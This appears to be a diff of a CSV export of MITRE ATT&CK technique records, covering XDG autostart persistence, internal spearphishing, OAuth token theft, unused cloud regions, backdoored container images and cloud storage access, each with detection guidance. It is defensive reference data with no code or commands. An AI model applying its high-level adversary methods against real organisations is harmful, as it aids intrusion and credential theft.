XDG autostart entries look as if they are associated with legitimate programs.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1547/013', 'external_id': 'T1547.013'}, {'source_name': 'Free Desktop Application Autostart Feb 2006', 'description': 'Free Desktop. (2006, February 13). Desktop Application Autostart Specification. Retrieved September 12, 2019.', 'url': 'https://specifications.freedesktop.org/autostart-spec/autostart-spec-latest.html'}, {'source_name': 'Free Desktop Entry Keys', 'description': 'Free Desktop. (2017, December 24). Recognized Desktop Entry Keys. Retrieved September 12, 2019.', 'url': 'https://specifications.freedesktop.org/desktop-entry-spec/1.2/ar01s06.html'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Tony Lambert, Red Canary']","['File: File Creation', 'File: File Modification', 'Process: Process Creation', 'Command: Command Execution']",,"Malicious XDG autostart entries may be detected by auditing file creation and modification events within the /etc/xdg/autostart and ~/.config/autostart directories. Depending on individual configurations, defenders may need to query the environment variables $XDG_CONFIG_HOME or $XDG_CONFIG_DIRS to determine the paths of Autostart entries. Autostart entry files not associated with legitimate packages may be considered suspicious. Suspicious entries can also be identified by comparing entries to a trusted system baseline. -Suspicious processes or scripts spawned in this manner will have a parent process of the desktop component implementing the XDG specification and will execute as the logged on user.",,,,,True,,,"['User', 'root']",['Linux'],,,,1.0 -2019-09-04 19:26:12.441000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may use internal spearphishing to gain access to additional information or exploit other users within the same organization after they already have access to accounts or systems within the environment. Internal spearphishing is multi-staged attack where an email account is owned either by controlling the user's device with previously installed malware or by compromising the account credentials of the user. Adversaries attempt to take advantage of a trusted internal account to increase the likelihood of tricking the target into falling for the phish attempt.(Citation: Trend Micro When Phishing Starts from the Inside 2017) +Suspicious processes or scripts spawned in this manner will have a parent process of the desktop component implementing the XDG specification and will execute as the logged on user.",True,"['User', 'root']",['Linux'],1.0,,,,,,, +attack-pattern,attack-pattern--9e7452df-5144-4b6e-b04a-b66dd4016747,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-09-04T19:26:12.441Z,2021-04-14T14:32:14.273Z,Internal Spearphishing,"Adversaries may use internal spearphishing to gain access to additional information or exploit other users within the same organization after they already have access to accounts or systems within the environment. Internal spearphishing is multi-staged attack where an email account is owned either by controlling the user's device with previously installed malware or by compromising the account credentials of the user. Adversaries attempt to take advantage of a trusted internal account to increase the likelihood of tricking the target into falling for the phish attempt.(Citation: Trend Micro When Phishing Starts from the Inside 2017) Adversaries may leverage [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) or [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) as part of internal spearphishing to deliver a payload or redirect to an external site to capture credentials through [Input Capture](https://attack.mitre.org/techniques/T1056) on sites that mimic email login interfaces. -There have been notable incidents where internal spearphishing has been used. The Eye Pyramid campaign used phishing emails with malicious attachments for lateral movement between victims, compromising nearly 18,000 email accounts in the process.(Citation: Trend Micro When Phishing Starts from the Inside 2017) The Syrian Electronic Army (SEA) compromised email accounts at the Financial Times (FT) to steal additional account credentials. Once FT learned of the attack and began warning employees of the threat, the SEA sent phishing emails mimicking the Financial Times IT department and were able to compromise even more users.(Citation: THE FINANCIAL TIMES LTD 2019.)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1534', external_id='T1534'), ExternalReference(source_name='Trend Micro When Phishing Starts from the Inside 2017', description='Chris Taylor. (2017, October 5). When Phishing Starts from the Inside. Retrieved October 8, 2019.', url='https://blog.trendmicro.com/phishing-starts-inside/'), ExternalReference(source_name='THE FINANCIAL TIMES LTD 2019.', description='THE FINANCIAL TIMES. (2019, September 2). A sobering day. Retrieved October 8, 2019.', url='https://labs.ft.com/2013/05/a-sobering-day/?mhq5j=e6')]",attack-pattern--9e7452df-5144-4b6e-b04a-b66dd4016747,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='lateral-movement')]",2021-04-14 14:32:14.273000+00:00,Internal Spearphishing,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Tim MalcomVetter', 'Swetha Prabakaran, Microsoft Threat Intelligence Center (MSTIC)']","['Application Log: Application Log Content', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']",,,,,"Network intrusion detection systems and email gateways usually do not scan internal email, but an organization can leverage the journaling-based solution which sends a copy of emails to a security service for offline analysis or incorporate service-integrated solutions using on-premise or API-based integrations to help detect internal spearphishing attacks.(Citation: Trend Micro When Phishing Starts from the Inside 2017)",,,,,False,,,['User'],"['Windows', 'macOS', 'Linux', 'Office 365', 'SaaS', 'Google Workspace']",,,,1.1 -2019-09-04 15:54:25.684000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries can steal user application access tokens as a means of acquiring credentials to access remote systems and resources. This can occur through social engineering and typically requires user action to grant access. +There have been notable incidents where internal spearphishing has been used. The Eye Pyramid campaign used phishing emails with malicious attachments for lateral movement between victims, compromising nearly 18,000 email accounts in the process.(Citation: Trend Micro When Phishing Starts from the Inside 2017) The Syrian Electronic Army (SEA) compromised email accounts at the Financial Times (FT) to steal additional account credentials. Once FT learned of the attack and began warning employees of the threat, the SEA sent phishing emails mimicking the Financial Times IT department and were able to compromise even more users.(Citation: THE FINANCIAL TIMES LTD 2019.)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'lateral-movement'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1534', 'external_id': 'T1534'}, {'source_name': 'Trend Micro When Phishing Starts from the Inside 2017', 'description': 'Chris Taylor. (2017, October 5). When Phishing Starts from the Inside. Retrieved October 8, 2019.', 'url': 'https://blog.trendmicro.com/phishing-starts-inside/'}, {'source_name': 'THE FINANCIAL TIMES LTD 2019.', 'description': 'THE FINANCIAL TIMES. (2019, September 2). A sobering day. Retrieved October 8, 2019.', 'url': 'https://labs.ft.com/2013/05/a-sobering-day/?mhq5j=e6'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Tim MalcomVetter', 'Swetha Prabakaran, Microsoft Threat Intelligence Center (MSTIC)']","['Application Log: Application Log Content', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']",,"Network intrusion detection systems and email gateways usually do not scan internal email, but an organization can leverage the journaling-based solution which sends a copy of emails to a security service for offline analysis or incorporate service-integrated solutions using on-premise or API-based integrations to help detect internal spearphishing attacks.(Citation: Trend Micro When Phishing Starts from the Inside 2017)",False,['User'],"['Windows', 'macOS', 'Linux', 'Office 365', 'SaaS', 'Google Workspace']",1.1,,,,,,, +attack-pattern,attack-pattern--890c9858-598c-401d-a4d5-c67ebcdd703a,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-09-04T15:54:25.684Z,2021-04-14T17:56:17.311Z,Steal Application Access Token,"Adversaries can steal user application access tokens as a means of acquiring credentials to access remote systems and resources. This can occur through social engineering and typically requires user action to grant access. Application access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. An application desiring access to cloud-based services or protected APIs can gain entry using OAuth 2.0 through a variety of authorization protocols. An example commonly-used sequence is Microsoft's Authorization Code Grant flow.(Citation: Microsoft Identity Platform Protocols May 2019)(Citation: Microsoft - OAuth Code Authorization flow - June 2019) An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested by the application without obtaining user credentials. Adversaries can leverage OAuth authorization by constructing a malicious application designed to be granted access to resources with the target user's OAuth token. The adversary will need to complete registration of their application with the authorization server, for example Microsoft Identity Platform using Azure Portal, the Visual Studio IDE, the command-line interface, PowerShell, or REST API calls.(Citation: Microsoft - Azure AD App Registration - May 2019) Then, they can send a link through [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) to the target user to entice them to grant access to the application. Once the OAuth access token is granted, the application can gain potentially long-term access to features of the user account through [Application Access Token](https://attack.mitre.org/techniques/T1550/001).(Citation: Microsoft - Azure AD Identity Tokens - Aug 2019) -Adversaries have been seen targeting Gmail, Microsoft Outlook, and Yahoo Mail users.(Citation: Amnesty OAuth Phishing Attacks, August 2019)(Citation: Trend Micro Pawn Storm OAuth 2017)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1528', external_id='T1528'), ExternalReference(source_name='Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019', description='Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure APIs. Retrieved September 12, 2019.', url='https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/'), ExternalReference(source_name='Microsoft Identity Platform Protocols May 2019', description='Microsoft. (n.d.). Retrieved September 12, 2019.', url='https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-v2-protocols'), ExternalReference(source_name='Microsoft - OAuth Code Authorization flow - June 2019', description='Microsoft. (n.d.). Microsoft identity platform and OAuth 2.0 authorization code flow. Retrieved September 12, 2019.', url='https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-auth-code-flow'), ExternalReference(source_name='Microsoft - Azure AD App Registration - May 2019', description='Microsoft. (2019, May 8). Quickstart: Register an application with the Microsoft identity platform. Retrieved September 12, 2019.', url='https://docs.microsoft.com/en-us/azure/active-directory/develop/quickstart-register-app'), ExternalReference(source_name='Microsoft - Azure AD Identity Tokens - Aug 2019', description='Microsoft. (2019, August 29). Microsoft identity platform access tokens. Retrieved September 12, 2019.', url='https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens'), ExternalReference(source_name='Amnesty OAuth Phishing Attacks, August 2019', description='Amnesty International. (2019, August 16). Evolving Phishing Attacks Targeting Journalists and Human Rights Defenders from the Middle-East and North Africa. Retrieved October 8, 2019.', url='https://www.amnesty.org/en/latest/research/2019/08/evolving-phishing-attacks-targeting-journalists-and-human-rights-defenders-from-the-middle-east-and-north-africa/'), ExternalReference(source_name='Trend Micro Pawn Storm OAuth 2017', description='Hacquebord, F.. (2017, April 25). Pawn Storm Abuses Open Authentication in Advanced Social Engineering Attacks. Retrieved October 4, 2019.', url='https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks')]",attack-pattern--890c9858-598c-401d-a4d5-c67ebcdd703a,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='credential-access')]",2021-04-14 17:56:17.311000+00:00,Steal Application Access Token,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Shailesh Tiwary (Indian Army)', 'Mark Wee', 'Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)', 'Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)']",['User Account: User Account Modification'],,,,,"Administrators should set up monitoring to trigger automatic alerts when policy criteria are met. For example, using a Cloud Access Security Broker (CASB), admins can create a “High severity app permissions” policy that generates alerts if apps request high severity permissions or send permissions requests for too many users. +Adversaries have been seen targeting Gmail, Microsoft Outlook, and Yahoo Mail users.(Citation: Amnesty OAuth Phishing Attacks, August 2019)(Citation: Trend Micro Pawn Storm OAuth 2017)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1528', 'external_id': 'T1528'}, {'source_name': 'Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019', 'description': 'Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure APIs. Retrieved September 12, 2019.', 'url': 'https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/'}, {'source_name': 'Microsoft Identity Platform Protocols May 2019', 'description': 'Microsoft. (n.d.). Retrieved September 12, 2019.', 'url': 'https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-v2-protocols'}, {'source_name': 'Microsoft - OAuth Code Authorization flow - June 2019', 'description': 'Microsoft. (n.d.). Microsoft identity platform and OAuth 2.0 authorization code flow. Retrieved September 12, 2019.', 'url': 'https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-auth-code-flow'}, {'source_name': 'Microsoft - Azure AD App Registration - May 2019', 'description': 'Microsoft. (2019, May 8). Quickstart: Register an application with the Microsoft identity platform. Retrieved September 12, 2019.', 'url': 'https://docs.microsoft.com/en-us/azure/active-directory/develop/quickstart-register-app'}, {'source_name': 'Microsoft - Azure AD Identity Tokens - Aug 2019', 'description': 'Microsoft. (2019, August 29). Microsoft identity platform access tokens. Retrieved September 12, 2019.', 'url': 'https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens'}, {'source_name': 'Amnesty OAuth Phishing Attacks, August 2019', 'description': 'Amnesty International. (2019, August 16). Evolving Phishing Attacks Targeting Journalists and Human Rights Defenders from the Middle-East and North Africa. Retrieved October 8, 2019.', 'url': 'https://www.amnesty.org/en/latest/research/2019/08/evolving-phishing-attacks-targeting-journalists-and-human-rights-defenders-from-the-middle-east-and-north-africa/'}, {'source_name': 'Trend Micro Pawn Storm OAuth 2017', 'description': 'Hacquebord, F.. (2017, April 25). Pawn Storm Abuses Open Authentication in Advanced Social Engineering Attacks. Retrieved October 4, 2019.', 'url': 'https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Shailesh Tiwary (Indian Army)', 'Mark Wee', 'Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)', 'Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)']",['User Account: User Account Modification'],,"Administrators should set up monitoring to trigger automatic alerts when policy criteria are met. For example, using a Cloud Access Security Broker (CASB), admins can create a “High severity app permissions” policy that generates alerts if apps request high severity permissions or send permissions requests for too many users. Security analysts can hunt for malicious apps using the tools available in their CASB, identity provider, or resource provider (depending on platform.) For example, they can filter for apps that are authorized by a small number of users, apps requesting high risk permissions, permissions incongruous with the app’s purpose, or apps with old “Last authorized” fields. A specific app can be investigated using an activity log displaying activities the app has performed, although some activities may be mis-logged as being performed by the user. App stores can be useful resources to further investigate suspicious apps. -Administrators can set up a variety of logs and leverage audit tools to monitor actions that can be conducted as a result of OAuth 2.0 access. For instance, audit reports enable admins to identify privilege escalation actions such as role creations or policy modifications, which could be actions performed after initial access.",,,,,False,,,['User'],"['SaaS', 'Office 365', 'Azure AD', 'Google Workspace']",,,,1.1 -2019-09-04 14:35:04.617000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may create cloud instances in unused geographic service regions in order to evade detection. Access is usually obtained through compromising accounts used to manage cloud infrastructure. +Administrators can set up a variety of logs and leverage audit tools to monitor actions that can be conducted as a result of OAuth 2.0 access. For instance, audit reports enable admins to identify privilege escalation actions such as role creations or policy modifications, which could be actions performed after initial access.",False,['User'],"['SaaS', 'Office 365', 'Azure AD', 'Google Workspace']",1.1,,,,,,, +attack-pattern,attack-pattern--59bd0dec-f8b2-4b9a-9141-37a1e6899761,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-09-04T14:35:04.617Z,2021-04-22T16:46:43.876Z,Unused/Unsupported Cloud Regions,"Adversaries may create cloud instances in unused geographic service regions in order to evade detection. Access is usually obtained through compromising accounts used to manage cloud infrastructure. Cloud service providers often provide infrastructure throughout the world in order to improve performance, provide redundancy, and allow customers to meet compliance requirements. Oftentimes, a customer will only use a subset of the available regions and may not actively monitor other regions. If an adversary creates resources in an unused region, they may be able to operate undetected. A variation on this behavior takes advantage of differences in functionality across cloud regions. An adversary could utilize regions which do not support advanced detection services in order to avoid detection of their activity. -An example of adversary use of unused AWS regions is to mine cryptocurrency through [Resource Hijacking](https://attack.mitre.org/techniques/T1496), which can cost organizations substantial amounts of money over time depending on the processing power used.(Citation: CloudSploit - Unused AWS Regions)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1535', external_id='T1535'), ExternalReference(source_name='CloudSploit - Unused AWS Regions', description='CloudSploit. (2019, June 8). The Danger of Unused AWS Regions. Retrieved October 8, 2019.', url='https://blog.cloudsploit.com/the-danger-of-unused-aws-regions-af0bf1b878fc')]",attack-pattern--59bd0dec-f8b2-4b9a-9141-37a1e6899761,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2021-04-22 16:46:43.876000+00:00,Unused/Unsupported Cloud Regions,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,['Netskope'],['Instance: Instance Creation'],,,,,Monitor system logs to review activities occurring across all cloud environments and regions. Configure alerting to notify of activity in normally unused regions or if the number of instances active in a region goes above a certain threshold.(Citation: CloudSploit - Unused AWS Regions),,,,,False,,,['User'],['IaaS'],,,,1.1 -2019-09-04 12:04:03.552000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may implant cloud or container images with malicious code to establish persistence after gaining access to an environment. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be implanted or backdoored. Unlike [Upload Malware](https://attack.mitre.org/techniques/T1608/001), this technique focuses on adversaries implanting an image in a registry within a victim’s environment. Depending on how the infrastructure is provisioned, this could provide persistent access if the infrastructure provisioning tool is instructed to always use the latest image.(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019) +An example of adversary use of unused AWS regions is to mine cryptocurrency through [Resource Hijacking](https://attack.mitre.org/techniques/T1496), which can cost organizations substantial amounts of money over time depending on the processing power used.(Citation: CloudSploit - Unused AWS Regions)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1535', 'external_id': 'T1535'}, {'source_name': 'CloudSploit - Unused AWS Regions', 'description': 'CloudSploit. (2019, June 8). The Danger of Unused AWS Regions. Retrieved October 8, 2019.', 'url': 'https://blog.cloudsploit.com/the-danger-of-unused-aws-regions-af0bf1b878fc'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Netskope'],['Instance: Instance Creation'],,Monitor system logs to review activities occurring across all cloud environments and regions. Configure alerting to notify of activity in normally unused regions or if the number of instances active in a region goes above a certain threshold.(Citation: CloudSploit - Unused AWS Regions),False,['User'],['IaaS'],1.1,,,,,,, +attack-pattern,attack-pattern--4fd8a28b-4b3a-4cd6-a8cf-85ba5f824a7f,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-09-04T12:04:03.552Z,2021-04-12T18:28:27.948Z,Implant Internal Image,"Adversaries may implant cloud or container images with malicious code to establish persistence after gaining access to an environment. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be implanted or backdoored. Unlike [Upload Malware](https://attack.mitre.org/techniques/T1608/001), this technique focuses on adversaries implanting an image in a registry within a victim’s environment. Depending on how the infrastructure is provisioned, this could provide persistent access if the infrastructure provisioning tool is instructed to always use the latest image.(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019) -A tool has been developed to facilitate planting backdoors in cloud container images.(Citation: Rhino Labs Cloud Backdoor September 2019) If an attacker has access to a compromised AWS instance, and permissions to list the available container images, they may implant a backdoor such as a [Web Shell](https://attack.mitre.org/techniques/T1505/003).(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1525', external_id='T1525'), ExternalReference(source_name='Rhino Labs Cloud Image Backdoor Technique Sept 2019', description='Rhino Labs. (2019, August). Exploiting AWS ECR and ECS with the Cloud Container Attack Tool (CCAT). Retrieved September 12, 2019.', url='https://rhinosecuritylabs.com/aws/cloud-container-attack-tool/'), ExternalReference(source_name='Rhino Labs Cloud Backdoor September 2019', description='Rhino Labs. (2019, September). Cloud Container Attack Tool (CCAT). Retrieved September 12, 2019.', url='https://github.com/RhinoSecurityLabs/ccat')]",attack-pattern--4fd8a28b-4b3a-4cd6-a8cf-85ba5f824a7f,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence')]",2021-04-12 18:28:27.948000+00:00,Implant Internal Image,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Yossi Weizman, Azure Defender Research Team', 'Vishwas Manral, McAfee', 'Praetorian']","['Image: Image Creation', 'Image: Image Modification']",,,,,"Monitor interactions with images and containers by users to identify ones that are added or modified anomalously. +A tool has been developed to facilitate planting backdoors in cloud container images.(Citation: Rhino Labs Cloud Backdoor September 2019) If an attacker has access to a compromised AWS instance, and permissions to list the available container images, they may implant a backdoor such as a [Web Shell](https://attack.mitre.org/techniques/T1505/003).(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1525', 'external_id': 'T1525'}, {'source_name': 'Rhino Labs Cloud Image Backdoor Technique Sept 2019', 'description': 'Rhino Labs. (2019, August). Exploiting AWS ECR and ECS with the Cloud Container Attack Tool (CCAT). Retrieved September 12, 2019.', 'url': 'https://rhinosecuritylabs.com/aws/cloud-container-attack-tool/'}, {'source_name': 'Rhino Labs Cloud Backdoor September 2019', 'description': 'Rhino Labs. (2019, September). Cloud Container Attack Tool (CCAT). Retrieved September 12, 2019.', 'url': 'https://github.com/RhinoSecurityLabs/ccat'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Yossi Weizman, Azure Defender Research Team', 'Vishwas Manral, McAfee', 'Praetorian']","['Image: Image Creation', 'Image: Image Modification']",,"Monitor interactions with images and containers by users to identify ones that are added or modified anomalously. -In containerized environments, changes may be detectable by monitoring the Docker daemon logs or setting up and monitoring Kubernetes audit logs depending on registry configuration. ",,,,,False,,,['User'],"['IaaS', 'Containers']",,,,2.0 -2019-08-30 18:11:24.582000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"An adversary may use a cloud service dashboard GUI with stolen credentials to gain useful information from an operational cloud environment, such as specific services, resources, and features. For example, the GCP Command Center can be used to view all assets, findings of potential security risks, and to run additional queries, such as finding public IP addresses and open ports.(Citation: Google Command Center Dashboard) +In containerized environments, changes may be detectable by monitoring the Docker daemon logs or setting up and monitoring Kubernetes audit logs depending on registry configuration. ",False,['User'],"['IaaS', 'Containers']",2.0,,,,,,, +attack-pattern,attack-pattern--e49920b0-6c54-40c1-9571-73723653205f,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-08-30T18:11:24.582Z,2021-03-16T12:56:36.098Z,Cloud Service Dashboard,"An adversary may use a cloud service dashboard GUI with stolen credentials to gain useful information from an operational cloud environment, such as specific services, resources, and features. For example, the GCP Command Center can be used to view all assets, findings of potential security risks, and to run additional queries, such as finding public IP addresses and open ports.(Citation: Google Command Center Dashboard) -Depending on the configuration of the environment, an adversary may be able to enumerate more information via the graphical dashboard than an API. This allows the adversary to gain information without making any API requests.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1538', external_id='T1538'), ExternalReference(source_name='Google Command Center Dashboard', description='Google. (2019, October 3). Quickstart: Using the dashboard. Retrieved October 8, 2019.', url='https://cloud.google.com/security-command-center/docs/quickstart-scc-dashboard'), ExternalReference(source_name='AWS Console Sign-in Events', description='Amazon. (n.d.). AWS Console Sign-in Events. Retrieved October 23, 2019.', url='https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-event-reference-aws-console-sign-in-events.html')]",attack-pattern--e49920b0-6c54-40c1-9571-73723653205f,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='discovery')]",2021-03-16 12:56:36.098000+00:00,Cloud Service Dashboard,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,['Praetorian'],"['User Account: User Account Authentication', 'Logon Session: Logon Session Creation']",,,,,"Monitor account activity logs to see actions performed and activity associated with the cloud service management console. Some cloud providers, such as AWS, provide distinct log events for login attempts to the management console.(Citation: AWS Console Sign-in Events)",,,,,False,,,['User'],"['Azure AD', 'Office 365', 'IaaS', 'Google Workspace']",,,,1.1 -2019-08-30 18:07:27.741000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may access data objects from improperly secured cloud storage. +Depending on the configuration of the environment, an adversary may be able to enumerate more information via the graphical dashboard than an API. This allows the adversary to gain information without making any API requests.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1538', 'external_id': 'T1538'}, {'source_name': 'Google Command Center Dashboard', 'description': 'Google. (2019, October 3). Quickstart: Using the dashboard. Retrieved October 8, 2019.', 'url': 'https://cloud.google.com/security-command-center/docs/quickstart-scc-dashboard'}, {'source_name': 'AWS Console Sign-in Events', 'description': 'Amazon. (n.d.). AWS Console Sign-in Events. Retrieved October 23, 2019.', 'url': 'https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-event-reference-aws-console-sign-in-events.html'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Praetorian'],"['User Account: User Account Authentication', 'Logon Session: Logon Session Creation']",,"Monitor account activity logs to see actions performed and activity associated with the cloud service management console. Some cloud providers, such as AWS, provide distinct log events for login attempts to the management console.(Citation: AWS Console Sign-in Events)",False,['User'],"['Azure AD', 'Office 365', 'IaaS', 'Google Workspace']",1.1,,,,,,, +attack-pattern,attack-pattern--3298ce88-1628-43b1-87d9-0b5336b193d7,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-08-30T18:07:27.741Z,2021-03-08T10:33:01.374Z,Data from Cloud Storage Object,"Adversaries may access data objects from improperly secured cloud storage. Many cloud service providers offer solutions for online data storage such as Amazon S3, Azure Storage, and Google Cloud Storage. These solutions differ from other storage solutions (such as SQL or Elasticsearch) in that there is no overarching application. Data from these solutions can be retrieved directly using the cloud provider's APIs. Solution providers typically offer security guides to help end users configure systems.(Citation: Amazon S3 Security, 2019)(Citation: Microsoft Azure Storage Security, 2019)(Citation: Google Cloud Storage Best Practices, 2019) -Misconfiguration by end users is a common problem. There have been numerous incidents where cloud storage has been improperly secured (typically by unintentionally allowing public access by unauthenticated users or overly-broad access by all users), allowing open access to credit cards, personally identifiable information, medical records, and other sensitive information.(Citation: Trend Micro S3 Exposed PII, 2017)(Citation: Wired Magecart S3 Buckets, 2019)(Citation: HIPAA Journal S3 Breach, 2017) Adversaries may also obtain leaked credentials in source repositories, logs, or other means as a way to gain access to cloud storage objects that have access permission controls.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1530', external_id='T1530'), ExternalReference(source_name='Amazon S3 Security, 2019', description='Amazon. (2019, May 17). How can I secure the files in my Amazon S3 bucket?. Retrieved October 4, 2019.', url='https://aws.amazon.com/premiumsupport/knowledge-center/secure-s3-resources/'), ExternalReference(source_name='Microsoft Azure Storage Security, 2019', description='Amlekar, M., Brooks, C., Claman, L., et. al.. (2019, March 20). Azure Storage security guide. Retrieved October 4, 2019.', url='https://docs.microsoft.com/en-us/azure/storage/common/storage-security-guide'), ExternalReference(source_name='Google Cloud Storage Best Practices, 2019', description='Google. (2019, September 16). Best practices for Cloud Storage. Retrieved October 4, 2019.', url='https://cloud.google.com/storage/docs/best-practices'), ExternalReference(source_name='Trend Micro S3 Exposed PII, 2017', description='Trend Micro. (2017, November 6). A Misconfigured Amazon S3 Exposed Almost 50 Thousand PII in Australia. Retrieved October 4, 2019.', url='https://www.trendmicro.com/vinfo/us/security/news/virtualization-and-cloud/a-misconfigured-amazon-s3-exposed-almost-50-thousand-pii-in-australia'), ExternalReference(source_name='Wired Magecart S3 Buckets, 2019', description='Barrett, B.. (2019, July 11). Hack Brief: A Card-Skimming Hacker Group Hit 17K Domains—and Counting. Retrieved October 4, 2019.', url='https://www.wired.com/story/magecart-amazon-cloud-hacks/'), ExternalReference(source_name='HIPAA Journal S3 Breach, 2017', description='HIPAA Journal. (2017, October 11). 47GB of Medical Records and Test Results Found in Unsecured Amazon S3 Bucket. Retrieved October 4, 2019.', url='https://www.hipaajournal.com/47gb-medical-records-unsecured-amazon-s3-bucket/')]",attack-pattern--3298ce88-1628-43b1-87d9-0b5336b193d7,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='collection')]",2021-03-08 10:33:01.374000+00:00,Data from Cloud Storage Object,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Netskope', 'Praetorian']",['Cloud Storage: Cloud Storage Access'],,,,,"Monitor for unusual queries to the cloud provider's storage service. Activity originating from unexpected sources may indicate improper permissions are set that is allowing access to data. Additionally, detecting failed attempts by a user for a certain object, followed by escalation of privileges by the same user, and access to the same object may be an indication of suspicious activity.",,,,,False,,,['User'],['IaaS'],,,,1.1 -2019-08-30 18:03:05.864000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"An adversary may attempt to modify a cloud account's compute service infrastructure to evade defenses. A modification to the compute service infrastructure can include the creation, deletion, or modification of one or more components such as compute instances, virtual machines, and snapshots. +Misconfiguration by end users is a common problem. There have been numerous incidents where cloud storage has been improperly secured (typically by unintentionally allowing public access by unauthenticated users or overly-broad access by all users), allowing open access to credit cards, personally identifiable information, medical records, and other sensitive information.(Citation: Trend Micro S3 Exposed PII, 2017)(Citation: Wired Magecart S3 Buckets, 2019)(Citation: 